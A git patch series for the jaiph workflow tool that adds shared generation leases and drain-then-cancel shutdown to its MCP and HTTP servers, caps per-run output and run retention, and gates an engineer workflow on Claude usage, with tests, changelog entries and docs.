+ // Drain-then-cancel shutdown: stop accepting input, let in-flight calls + // settle, then clean up. The temp root (scripts, graph files) must outlive + // every draining call — a run reads its scripts dir until it exits. + const drain = (): void => { + if (draining) return; + draining = true; + watcher.stop(); + void Promise.allSettled([...inFlight]).then(() => finish(0)); + }; + + const rl = createInterface({ input: process.stdin, terminal: false }); rl.on("line", (line) => { const p = server.handleLine(line).catch((err) => { log(`jaiph mcp: ${err instanceof Error ? err.message : String(err)}`); @@ -189,10 +207,21 @@ export async function runMcp(rest: string[]): Promise { inFlight.add(p); void p.finally(() => inFlight.delete(p)); }); - rl.on("close", () => { - void Promise.allSettled([...inFlight]).then(() => shutdown(0)); - }); - process.once("SIGINT", () => shutdown(0)); - process.once("SIGTERM", () => shutdown(0)); + rl.on("close", drain); + const onSignal = (): void => { + if (!draining) { + log("jaiph mcp: shutting down; draining in-flight calls (signal again to cancel them)..."); + rl.close(); + drain(); + } else { + // Second signal: kill every in-flight run's child process tree and, in + // Docker mode, force-remove its container; the calls then settle and + // the drain above finishes cleanup. + log("jaiph mcp: cancelling in-flight calls..."); + server.cancelAll(); + } + }; + process.on("SIGINT", onSignal); + process.on("SIGTERM", onSignal); }); } diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index 508b2bf6..e9e046a1 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -8,10 +8,11 @@ import { resolveEnvPairs } from "../run/env"; import { callWorkflow } from "../exec/call"; import { loadGeneration, + createGenerationTracker, createSourceWatcher, resolveStartupPosture, WATCH_INTERVAL_MS, - type GenerationState, + type GenerationTracker, } from "../shared/generation"; import { ServeHandler } from "../serve/handler"; import { createHttpServer, listen } from "../serve/server"; @@ -52,13 +53,6 @@ function isLoopbackHost(host: string): boolean { return LOOPBACK_HOSTS.has(host.toLowerCase()); } -/** One in-flight generation: its state, live-run refcount, and superseded flag. */ -interface LiveGeneration { - state: GenerationState; - refs: number; - superseded: boolean; -} - export async function runServe(rest: string[]): Promise { if (hasHelpFlag(rest)) { process.stdout.write(SERVE_USAGE); @@ -131,7 +125,7 @@ export async function runServe(rest: string[]): Promise { const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-serve-")); let generation = 0; - let current: LiveGeneration; + let generations: GenerationTracker; try { const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve"); if (!loaded.state) { @@ -139,7 +133,7 @@ export async function runServe(rest: string[]): Promise { rmSync(tempRoot, { recursive: true, force: true }); return 1; } - current = { state: loaded.state, refs: 0, superseded: false }; + generations = createGenerationTracker(loaded.state); } catch (err) { log(err instanceof Error ? err.message : String(err)); rmSync(tempRoot, { recursive: true, force: true }); @@ -149,7 +143,7 @@ export async function runServe(rest: string[]): Promise { let dockerConfig: ReturnType["dockerConfig"]; let hostRunsRoot: string; try { - const posture = resolveStartupPosture(current.state, inputAbs, workspaceRoot, log); + const posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); dockerConfig = posture.dockerConfig; hostRunsRoot = posture.hostRunsRoot; if (dockerConfig.enabled) { @@ -170,14 +164,6 @@ export async function runServe(rest: string[]): Promise { return 1; } - // Delete a superseded generation's out dir only once its in-flight runs finish - // — HTTP runs can outlive a reload (unlike MCP, where the client blocks). - const maybeDeleteGeneration = (gen: LiveGeneration): void => { - if (gen.superseded && gen.refs === 0) { - rmSync(gen.state.callEnv.outDir, { recursive: true, force: true }); - } - }; - // Track in-flight run promises so shutdown can drain them. const inFlightRuns = new Set>(); @@ -191,23 +177,19 @@ export async function runServe(rest: string[]): Promise { // events/artifacts endpoints locate it by scanning the host runs root for // the run id (works host- and Docker-side — the run dir is a host mount). resolveRunDir: (record) => record.run_dir ?? findRunDir(hostRunsRoot, record.run_id), - getTools: () => current.state.tools, + getTools: () => generations.current().tools, callTool: (spec, args, runId, ctx) => { - // Bind the run to the generation live at start; keep its scripts dir alive - // until the run finishes, then delete it if the generation was superseded. - const gen = current; - gen.refs += 1; + // Bind the run to the generation live at start; the lease keeps its + // scripts dir alive until the run finishes (deleted then if superseded). + const lease = generations.acquire(); const p = callWorkflow( - gen.state.callEnv, + lease.state.callEnv, dockerConfig, spec.workflow, spec.params.map((pp) => args[pp] ?? ""), runId, ctx, - ).finally(() => { - gen.refs -= 1; - maybeDeleteGeneration(gen); - }); + ).finally(() => lease.release()); const tracked = p.then( () => undefined, () => undefined, @@ -232,12 +214,9 @@ export async function runServe(rest: string[]): Promise { for (const f of loaded.failures) log(` ${f}`); return; } - const prev = current; - current = { state: loaded.state, refs: 0, superseded: false }; - watcher.rewatch([...current.state.graph.modules.keys()]); - log(`jaiph serve: sources reloaded (${current.state.tools.length} workflow(s))`); - prev.superseded = true; - maybeDeleteGeneration(prev); + generations.swap(loaded.state); + watcher.rewatch([...loaded.state.graph.modules.keys()]); + log(`jaiph serve: sources reloaded (${loaded.state.tools.length} workflow(s))`); } catch (err) { log(`jaiph serve: reload failed; keeping the previous workflows: ${err instanceof Error ? err.message : String(err)}`); } finally { @@ -245,7 +224,7 @@ export async function runServe(rest: string[]): Promise { } }; const watcher = createSourceWatcher(WATCH_INTERVAL_MS, onSourceChange); - watcher.rewatch([...current.state.graph.modules.keys()]); + watcher.rewatch([...generations.current().graph.modules.keys()]); const httpServer = createHttpServer(handler, log); let boundPort: number; @@ -259,7 +238,7 @@ export async function runServe(rest: string[]): Promise { } const base = `http://${host}:${boundPort}`; - log(`jaiph serve: listening on ${base} — API docs at ${base}/docs (${current.state.tools.length} workflow(s))`); + log(`jaiph serve: listening on ${base} — API docs at ${base}/docs (${generations.current().tools.length} workflow(s))`); return await new Promise((resolveExit) => { let draining = false; diff --git a/src/cli/mcp/server.test.ts b/src/cli/mcp/server.test.ts index 2fcf3961..417e3b85 100644 --- a/src/cli/mcp/server.test.ts +++ b/src/cli/mcp/server.test.ts @@ -286,6 +286,41 @@ test("notifications/cancelled arriving before the child spawns cancels once regi assert.equal(cancelled, true, "a cancel that predates the child still terminates it"); }); +test("cancelAll: kills every in-flight run but still delivers each isError response", async () => { + // Shutdown drain-then-cancel: unlike a client cancellation, the calls are not + // marked cancelled, so each killed run must settle with a normal response. + const killed: number[] = []; + const calls = [deferred(), deferred()]; + let callIndex = 0; + const { server, written } = makeServer({ + callTool: async (_spec, _args, ctx) => { + const i = callIndex++; + ctx.onCancelHandle?.(() => { + killed.push(i); + calls[i].resolve({ text: "workflow build terminated by signal SIGINT", isError: true }); + }); + return calls[i].promise; + }, + }); + await initialize(server); + const p1 = server.handleLine( + JSON.stringify({ jsonrpc: "2.0", id: 30, method: "tools/call", params: { name: "build", arguments: { target: "x" } } }), + ); + const p2 = server.handleLine( + JSON.stringify({ jsonrpc: "2.0", id: 31, method: "tools/call", params: { name: "build", arguments: { target: "y" } } }), + ); + + server.cancelAll(); + await Promise.all([p1, p2]); + + assert.deepEqual(killed.sort(), [0, 1], "every in-flight run's terminator ran"); + for (const id of [30, 31]) { + const res = written.find((m) => m.id === id) as { result: { isError: boolean } } | undefined; + assert.ok(res, `call ${id} still got a response (drain can settle)`); + assert.equal(res.result.isError, true, `call ${id} reports the termination as an error result`); + } +}); + test("notifications/cancelled for an unknown request id is a harmless no-op", async () => { const { server, written } = makeServer(); await initialize(server); diff --git a/src/cli/mcp/server.ts b/src/cli/mcp/server.ts index e6ea44ed..88cf6d80 100644 --- a/src/cli/mcp/server.ts +++ b/src/cli/mcp/server.ts @@ -86,6 +86,17 @@ export class McpServer { this.opts = opts; } + /** + * Kill every in-flight call's run (second-signal shutdown: child + container + * teardown through each call's cancel handle). Unlike a client + * `notifications/cancelled`, the calls are NOT marked cancelled: each killed + * run settles with a normal `isError` response, so a shutdown drain awaiting + * those calls completes deterministically. + */ + cancelAll(): void { + for (const entry of this.inFlight.values()) entry.cancelRun?.(); + } + /** Tell connected clients the tool list changed (hot reload). */ notifyToolsChanged(): void { if (!this.initialized) return; diff --git a/src/cli/shared/generation.test.ts b/src/cli/shared/generation.test.ts new file mode 100644 index 00000000..012807e3 --- /dev/null +++ b/src/cli/shared/generation.test.ts @@ -0,0 +1,108 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { existsSync, mkdirSync, mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { createGenerationTracker, type GenerationState } from "./generation"; + +/** + * The tracker only reads `state.callEnv.outDir` (the directory it deletes), so + * the tests stub the rest of the generation state. + */ +function makeState(tempRoot: string, generation: number): GenerationState { + const outDir = join(tempRoot, `gen-${generation}`); + mkdirSync(outDir, { recursive: true }); + return { callEnv: { outDir } } as GenerationState; +} + +test("generation tracker: swap with no in-flight leases deletes the previous dir immediately", () => { + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-gen-test-")); + try { + const gen0 = makeState(tempRoot, 0); + const gen1 = makeState(tempRoot, 1); + const tracker = createGenerationTracker(gen0); + assert.equal(tracker.current(), gen0); + + tracker.swap(gen1); + assert.equal(tracker.current(), gen1); + assert.equal(existsSync(gen0.callEnv.outDir), false, "idle superseded dir is deleted on swap"); + assert.equal(existsSync(gen1.callEnv.outDir), true, "current dir survives"); + } finally { + rmSync(tempRoot, { recursive: true, force: true }); + } +}); + +test("generation tracker: a lease keeps the superseded dir alive until it is released", () => { + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-gen-test-")); + try { + const gen0 = makeState(tempRoot, 0); + const gen1 = makeState(tempRoot, 1); + const tracker = createGenerationTracker(gen0); + + const lease = tracker.acquire(); + assert.equal(lease.state, gen0, "the lease pins the generation live at call start"); + + tracker.swap(gen1); + assert.equal(existsSync(gen0.callEnv.outDir), true, "superseded dir survives while the call runs"); + assert.equal(tracker.current(), gen1, "new calls bind to the new generation"); + + lease.release(); + assert.equal(existsSync(gen0.callEnv.outDir), false, "last release deletes the superseded dir"); + assert.equal(existsSync(gen1.callEnv.outDir), true, "current dir is never deleted"); + } finally { + rmSync(tempRoot, { recursive: true, force: true }); + } +}); + +test("generation tracker: concurrent leases across multiple swaps settle independently", () => { + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-gen-test-")); + try { + const gen0 = makeState(tempRoot, 0); + const gen1 = makeState(tempRoot, 1); + const gen2 = makeState(tempRoot, 2); + const tracker = createGenerationTracker(gen0); + + const leaseA = tracker.acquire(); // gen0 + tracker.swap(gen1); + const leaseB = tracker.acquire(); // gen1 + tracker.swap(gen2); + + assert.equal(leaseA.state, gen0); + assert.equal(leaseB.state, gen1); + assert.equal(existsSync(gen0.callEnv.outDir), true, "gen0 pinned by lease A"); + assert.equal(existsSync(gen1.callEnv.outDir), true, "gen1 pinned by lease B"); + + // Out-of-order settle: the newer call finishes first. + leaseB.release(); + assert.equal(existsSync(gen1.callEnv.outDir), false, "gen1 deleted when its last call settles"); + assert.equal(existsSync(gen0.callEnv.outDir), true, "gen0 still pinned"); + + leaseA.release(); + assert.equal(existsSync(gen0.callEnv.outDir), false, "gen0 deleted when its last call settles"); + assert.equal(existsSync(gen2.callEnv.outDir), true, "only the current generation dir remains"); + } finally { + rmSync(tempRoot, { recursive: true, force: true }); + } +}); + +test("generation tracker: release is idempotent and cannot free a dir another lease still holds", () => { + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-gen-test-")); + try { + const gen0 = makeState(tempRoot, 0); + const gen1 = makeState(tempRoot, 1); + const tracker = createGenerationTracker(gen0); + + const leaseA = tracker.acquire(); + const leaseB = tracker.acquire(); + tracker.swap(gen1); + + leaseA.release(); + leaseA.release(); // double release must not decrement past its own lease + assert.equal(existsSync(gen0.callEnv.outDir), true, "lease B still holds the dir"); + + leaseB.release(); + assert.equal(existsSync(gen0.callEnv.outDir), false, "deleted once the true last lease settles"); + } finally { + rmSync(tempRoot, { recursive: true, force: true }); + } +}); diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts index 77d97bed..5f61fca2 100644 --- a/src/cli/shared/generation.ts +++ b/src/cli/shared/generation.ts @@ -1,4 +1,4 @@ -import { mkdirSync, unwatchFile, watchFile } from "node:fs"; +import { mkdirSync, rmSync, unwatchFile, watchFile } from "node:fs"; import { join } from "node:path"; import { loadModuleGraph, writeModuleGraph, type ModuleGraph } from "../../transpile/module-graph"; import { collectDiagnostics } from "../../transpile/validate"; @@ -75,6 +75,70 @@ export function loadGeneration( }; } +/** One live generation with the refcount that keeps its scripts dir alive. */ +interface LiveGeneration { + state: GenerationState; + refs: number; + superseded: boolean; +} + +/** A lease on one generation, held by one in-flight call. */ +export interface GenerationLease { + /** The generation live when the call started; stable for the call's lifetime. */ + state: GenerationState; + /** Settle the lease (idempotent). The last release of a superseded generation deletes its out dir. */ + release: () => void; +} + +export interface GenerationTracker { + /** The generation new calls should bind to. */ + current: () => GenerationState; + /** Lease the current generation for one call; release when the call settles. */ + acquire: () => GenerationLease; + /** Install a new generation; the previous one is deleted once its last lease settles. */ + swap: (next: GenerationState) => void; +} + +/** + * Refcounted generation lifecycle shared by `jaiph mcp` and `jaiph serve`. A + * hot reload must not delete the superseded generation's out dir (emitted + * scripts + serialized graph) while a call started under it is still running — + * the runner spawns each script step from that dir for the whole run. Calls + * lease the generation live at call start; a superseded generation's dir is + * removed only when its last lease is released (immediately on swap when idle). + */ +export function createGenerationTracker(initial: GenerationState): GenerationTracker { + let current: LiveGeneration = { state: initial, refs: 0, superseded: false }; + const maybeDelete = (gen: LiveGeneration): void => { + if (gen.superseded && gen.refs === 0) { + rmSync(gen.state.callEnv.outDir, { recursive: true, force: true }); + } + }; + return { + current: () => current.state, + acquire(): GenerationLease { + const gen = current; + gen.refs += 1; + let released = false; + return { + state: gen.state, + release(): void { + if (released) return; + released = true; + gen.refs -= 1; + maybeDelete(gen); + }, + }; + }, + swap(next: GenerationState): void { + const prev = current; + current = { state: next, refs: 0, superseded: false }; + prev.superseded = true; + maybeDelete(prev); + }, + }; +} + /** * Resolve the shared startup sandbox posture for a workflow server (`jaiph mcp` * and `jaiph serve`): the env-driven Docker selection (`jaiph run` semantics), From c3ef50ded78c0dee682b8d0012c631990e0b07e5 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 14:24:35 +0200 Subject: [PATCH 09/24] Chore: gate engineer workflow on Claude capacity Wait visibly between usage checks before selecting queue work, and keep Fable as the implementation model. Co-authored-by: Cursor --- .jaiph/engineer.jh | 47 +++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 42 insertions(+), 5 deletions(-) diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index fc604ecc..95af445c 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -194,12 +194,36 @@ workflow select_role(role_name) { script task_text_has_header = `printf '%s\n' "$1" | grep -q '^## '` +script check_claude_capacity = ``` + local usage percent + + if ! usage="$(claude -p "/usage")"; then + printf 'Failed to read Claude usage.\n' >&2 + return 1 + fi + + percent="$( + printf '%s\n' "$usage" | + sed -nE 's/.*Current session: ([0-9]+)% used.*/\1/p' | + awk 'NR == 1 { print; exit }' + )" + case "$percent" in + ''|*[!0-9]*) + printf 'Could not parse current Claude session usage.\n' >&2 + return 1 + ;; + esac + + printf 'Claude current session usage is %s%%.\n' "$percent" + (( percent <= 95 )) +``` + script first_line_task = ``` -local line -line="$(printf '%s\n' "$1" | awk 'NR==1 { print; exit }')" -line="${line#\#\# }" -line="$(printf '%s\n' "$line" | sed 's/ *#[A-Za-z0-9_-]*//g')" -printf '%s\n' "$line" + local line + line="$(printf '%s\n' "$1" | awk 'NR==1 { print; exit }')" + line="${line#\#\# }" + line="$(printf '%s\n' "$line" | sed 's/ *#[A-Za-z0-9_-]*//g')" + printf '%s\n' "$line" ``` workflow classify_role(task) { @@ -299,8 +323,21 @@ workflow implement(task, role_name) { """ } +workflow ensure_claude_usage() { + config { + # At ten-minute intervals this permits roughly 7 days of capacity checks. + run.recover_limit = 1000 + } + + run check_claude_capacity() recover (failure) { + logwarn "${failure}. Checking again in 10 minutes." + run `sleep 600`() + } +} + workflow default(name) { # ensure git.is_clean + run ensure_claude_usage() const task = run queue.get_first_task() const task_header = run first_line_task(task) ensure queue.task_is_dev_ready(task) From 1bd7c605408f1d07c305151dfc505d10e901c933 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 14:54:42 +0200 Subject: [PATCH 10/24] Fix: bound jaiph serve memory, output, and run retention MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The serve concurrency cap limited active children but not process memory, so a long-lived server could be exhausted three ways: the in-memory run map grew forever, each completed run's result_text stayed resident, and a single run's raw stdout/stderr/log capture accumulated unbounded. Add per-run UTF-8 byte caps (OutputCaps) threaded through the call layer: attachOutputCollector stops accumulating stdout, stderr, and log output at the cap and composeResult caps result_text as a backstop, with overflow dropped and replaced by a deterministic truncation marker (capBytes slices on a byte boundary to keep valid UTF-8). Defaults stay effectively unbounded so jaiph mcp and direct callers are unchanged; only jaiph serve passes finite caps via JAIPH_SERVE_MAX_OUTPUT_BYTES (default 1 MiB). Add completed-run retention: evictCompleted runs after every finalize, dropping terminal records past JAIPH_SERVE_RETAIN_RUNS (default 500, oldest first) and older than JAIPH_SERVE_RETAIN_AGE_SEC (default 86400, 0 disables). Active runs are never evicted, and eviction removes only the in-memory record — durable journals and artifacts on disk remain the operator's to prune. Paginate GET /v1/runs via ?limit (default 100, clamped to 1000) and ?offset, returning {runs, total, limit, offset} so the response is never unbounded and newest-first paging stays stable. Update the OpenAPI document, docs, and add unit and e2e coverage. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 +- QUEUE.md | 18 ----- docs/cli.md | 3 +- docs/env-vars.md | 3 + docs/serve.md | 18 ++++- e2e/tests/147_serve_http_api.sh | 11 +++ src/cli/commands/serve.ts | 54 ++++++++++++- src/cli/exec/call.test.ts | 99 ++++++++++++++++++++++- src/cli/exec/call.ts | 136 ++++++++++++++++++++++++++++---- src/cli/serve/handler.test.ts | 92 ++++++++++++++++++++- src/cli/serve/handler.ts | 81 ++++++++++++++++++- src/cli/serve/openapi.ts | 29 ++++++- 12 files changed, 498 insertions(+), 50 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f2fd07b4..53cc06a5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ ## Summary -- **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, and the same durable `.jaiph/runs/` records as `jaiph run` are built in. +- **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. - **Export traces to an OTLP collector:** every run now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: an unreachable or erroring collector produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched. @@ -12,6 +12,8 @@ ## All changes +- **Fix — bound `jaiph serve` memory: per-run output caps, completed-run retention, and paginated listing:** `jaiph serve`'s concurrency cap limits *active* children but not process memory, so over a long-lived server an authenticated caller could exhaust it three ways — the in-memory run map grew forever, each completed run's `result_text` stayed resident forever, and a single run's raw stdout/stderr/`log` capture accumulated unbounded. All three are now bounded. **Per-run output caps:** a new `OutputCaps` (`src/cli/exec/call.ts`) threads a UTF-8 byte cap through the call layer; `attachOutputCollector` keeps per-stream byte counters and one-shot "cut" flags so stdout, stderr, and collected `log` output each stop accumulating at the cap, and `composeResult` caps the composed `result_text` as a final backstop. Overflow is dropped and replaced with a deterministic `TRUNCATION_MARKER` (`[jaiph: output truncated — exceeded the configured byte cap]`); the new `capBytes` helper slices on a byte boundary and drops a trailing partial multibyte char so the head stays valid UTF-8. `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) sets one value applied **independently** to each of the four channels. The default caps are effectively unbounded (`Number.MAX_SAFE_INTEGER` via `DEFAULT_OUTPUT_CAPS`), so `jaiph mcp` and direct callers are byte-for-byte unchanged — only `jaiph serve` passes finite caps. **Completed-run retention:** `ServeHandler.evictCompleted` (`src/cli/serve/handler.ts`), called after every finalize, drops terminal records past `JAIPH_SERVE_RETAIN_RUNS` (default `500`, oldest terminal `order` evicted first) and older than `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`; `0` disables age eviction). **Active (`running`) runs are never evicted**, and eviction removes only the in-memory record — the durable `run_summary.jsonl` journal and `artifacts/` on disk are untouched and remain the operator's to prune. **Bounded listing:** `GET /v1/runs` is now paginated via `?limit` (default `100`, clamped to `1000` by `clampInt`) and `?offset`, returning `{runs, total, limit, offset}`; a hostile `?limit=` can never widen the page past the maximum, so the response is never unbounded, and the monotonic unique `order` field keeps newest-first paging stable. The OpenAPI document (`src/cli/serve/openapi.ts`) gains the `limit`/`offset` parameters and the `total`/`limit`/`offset` response fields. `jaiph serve` startup parses the three env vars with a shared `intEnv` validator (a non-integer or out-of-range value prints a diagnostic to stderr and exits `1`) and logs the effective memory bounds plus the durable-artifact operator caveat. Tests: `src/cli/exec/call.test.ts` (`capBytes` verbatim vs. marked overflow and no U+FFFD split; `composeResult` caps a runaway success return and a runaway failure narrative; `attachOutputCollector` bounds stdout/stderr/logs each with a marker), `src/cli/serve/handler.test.ts` (count retention evicts only the oldest terminal records; an active run survives even past the budget; age retention evicts once past the window; pagination is bounded, newest-first stable, and reports `total`; `limit` is clamped to the maximum), and `e2e/tests/147_serve_http_api.sh` (`?limit=1` returns exactly one record while echoing the limit and full total). Concurrency, cancellation, SSE, and artifact tests continue to pass. Docs: a new [Bound memory over a long-lived server](docs/serve.md#8-bound-memory-over-a-long-lived-server) section in [Serve workflows over HTTP](docs/serve.md), the three `JAIPH_SERVE_*` rows in [Environment variables](docs/env-vars.md), and the paginated `GET /v1/runs` row plus a memory-bounds bullet in the `jaiph serve` section of [CLI](docs/cli.md#jaiph-serve). + - **Fix — keep `jaiph mcp` generations alive while calls are in flight, and drain before shutdown:** `jaiph mcp` handles tool calls concurrently, but a hot reload used to delete the previous generation's out dir (emitted scripts + serialized graph) the instant it swapped — `rmSync(previousOutDir, …)` ran synchronously in the reload handler — so a call that started just before the reload lost the scripts its remaining steps spawn from, and signal shutdown removed the shared temp root without draining or cancelling active calls. `jaiph serve` already refcounted its generations (HTTP runs can outlive a reload); MCP now gets the same guarantee from a **shared** lifecycle. The `LiveGeneration` refcount model was extracted from `src/cli/commands/serve.ts` into `createGenerationTracker` in `src/cli/shared/generation.ts` and is now used by both commands: each call `acquire()`s a **lease** on the generation live at call start (`lease.state` is stable for the call's lifetime), and a superseded generation's out dir is deleted only when its **last lease releases** — immediately on swap when idle, otherwise when the final in-flight call settles. A call spanning one or more reloads therefore always runs its remaining script steps from the generation it captured, and no generation directory is left behind after all calls settle. **Shutdown is now drain-then-cancel** (matching `jaiph serve`): stdin closing or the **first** `SIGINT`/`SIGTERM` stops accepting input and awaits every in-flight call before removing the temp root and exiting `0` — a draining call keeps its scripts on disk until it settles. A **second** signal cancels instead of waiting: the new `McpServer.cancelAll()` (`src/cli/mcp/server.ts`) invokes each in-flight call's cancel handle, terminating its run's child process tree (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, force-removing its container (`docker rm -f`), so no child process or container is orphaned; unlike a client `notifications/cancelled`, the calls are **not** marked cancelled — each killed run settles with a normal `isError` response, so the drain awaiting them completes deterministically and the server still exits `0`. Tests: new `src/cli/shared/generation.test.ts` (lease pins the generation across a swap; last release deletes the superseded dir; concurrent leases across multiple swaps settle out-of-order and leave only the current dir; release is idempotent and cannot free a dir another lease still holds), `src/cli/mcp/server.test.ts` (`cancelAll` kills every in-flight run yet still delivers each `isError` response), and a new `e2e/tests/149_mcp_generation_lifecycle.sh` (wired into `e2e/test_all.sh`): a slow call started before a reload returns the **old** generation's value while a post-reload call returns the **new** one and stdin-close drains both; SIGTERM drains an in-flight call to completion with no orphaned script process; a second SIGTERM cancels with an `isError` result and no orphan. Docs: updated `jaiph mcp` shutdown/exit behavior and a generation-lease note in [CLI](docs/cli.md#jaiph-mcp), an in-flight-call note under hot reload and a new "Shutdown (drain, then cancel)" section in [Serve workflows as MCP tools](docs/mcp.md). - **Fix — redact credentials from every returned workflow result, not just the durable journal:** `jaiph serve`'s `result_text` and a `jaiph mcp` tool error could return a secret that events, OTLP, and Sentry all redacted. The failure text was built in `composeResult` (`src/cli/exec/call.ts`) from the run's **live** captured output — failed-step detail, raw stderr/stdout, and collected `log` messages — whereas only the durable `run_summary.jsonl` copies were credential-redacted by `RuntimeEventEmitter`; a workflow that echoed a `*_API_KEY` / `*_TOKEN` / `*_SECRET` value to a stream and then failed leaked it verbatim through `?wait=true`, `GET /v1/runs/{id}`, and MCP tool results. The redaction rule is now **one shared helper**, `redactCredentials` (extracted from `RuntimeEventEmitter` into the new `src/runtime/kernel/redact.ts` — same credential-key suffixes, same ≥8-char threshold), imported by both the journal writer and `composeResult`. `composeResult` redacts the fully assembled failure text once, so step detail, raw streams, and logs all pass the same boundary regardless of which branch contributed them, and it does not rely on the (unredacted-at-source) live `__JAIPH_EVENT__` stream. This is the single boundary both `jaiph serve` (`result_text`) and `jaiph mcp` (tool results) return through; on the Docker path the `--env` passthrough (which flows through `DockerSpawnOptions.extraEnv`, not `runtimeEnv`) is merged back in so those values redact too. **Successful return values are unchanged:** a workflow's `return` is intentional API output, not diagnostic capture, and is returned verbatim (its `log`-output fallback, being diagnostic capture, is redacted). Tests: `src/cli/exec/call.test.ts`, and integration coverage that a failing workflow echoing a credential to both streams never exposes the value through `?wait=true`, `GET /v1/runs/{id}` (`integration/serve-server.test.ts`), or an MCP tool result (`integration/mcp-server.test.ts`) while `[REDACTED]` and the failed-step diagnostics are retained; the existing event-journal, OTLP, and Sentry redaction tests still pass. Docs: [Serve workflows over HTTP](docs/serve.md), [Call a tool and read the result](docs/mcp.md), and the redaction section of [Architecture](docs/architecture.md). diff --git a/QUEUE.md b/QUEUE.md index d5d84b46..f70763ed 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -32,24 +32,6 @@ Acceptance: - The pod runs as non-root and the test fails if privilege escalation, capabilities, or the default service-account token are reintroduced. - `kubectl apply --dry-run=client` remains a fast schema check, but is not the only deployment test. -## Bound HTTP service memory, output, and run retention #dev-ready - -The concurrency cap limits active children but not process memory. The in-memory run map grows forever, completed `result_text` stays resident forever, and raw child stdout/stderr/log accumulation is not bounded. An authenticated caller can exhaust a long-lived service. - -Scope: - -- Add explicit byte caps for collected stdout, stderr, logs, and public `result_text`, with a visible truncation marker. -- Add configurable completed-run retention by count and age; active runs must never be evicted. -- Paginate `GET /v1/runs` with a bounded default and maximum page size. -- Keep durable journals/artifacts independent from in-memory eviction and document their disk-retention responsibility. - -Acceptance: - -- Runs producing output beyond every cap keep the process within a tested memory bound and return deterministic truncation markers. -- More completed runs than the configured limit evicts only the oldest terminal records. -- Run listing cannot return an unbounded response, and pagination order is stable. -- Concurrency, cancellation, SSE, and artifact tests continue to pass. - ## Make HTTP request, event, and artifact I/O scale with bytes transferred #dev-ready The HTTP layer still performs avoidable whole-resource work: an aborted request body can leave `readBody` pending, SSE repeatedly scans historical run directories until `run_dir` is known, each SSE poll rereads the whole journal, and artifact downloads load the complete file into memory. diff --git a/docs/cli.md b/docs/cli.md index b13504d2..606c8ed7 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -376,7 +376,7 @@ Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to s | `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). | | `GET /v1/workflows` | bearer | `{workflows: [{name, description, params}]}`. | | `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. | -| `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. | +| `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | | `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | | `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot; `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | | `GET /v1/runs/{id}/artifacts` | bearer | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | @@ -389,6 +389,7 @@ The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, - `JAIPH_SERVE_TOKEN` (env only) enables a bearer token required on every `/v1/*` request, compared in constant time. `/healthz`, `/openapi.json`, and `/docs` stay unauthenticated (schema metadata only). On loopback the token is optional; binding a non-loopback `--host` without it is a startup error. - `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. +- Memory bounds keep a long-lived server from growing without limit: 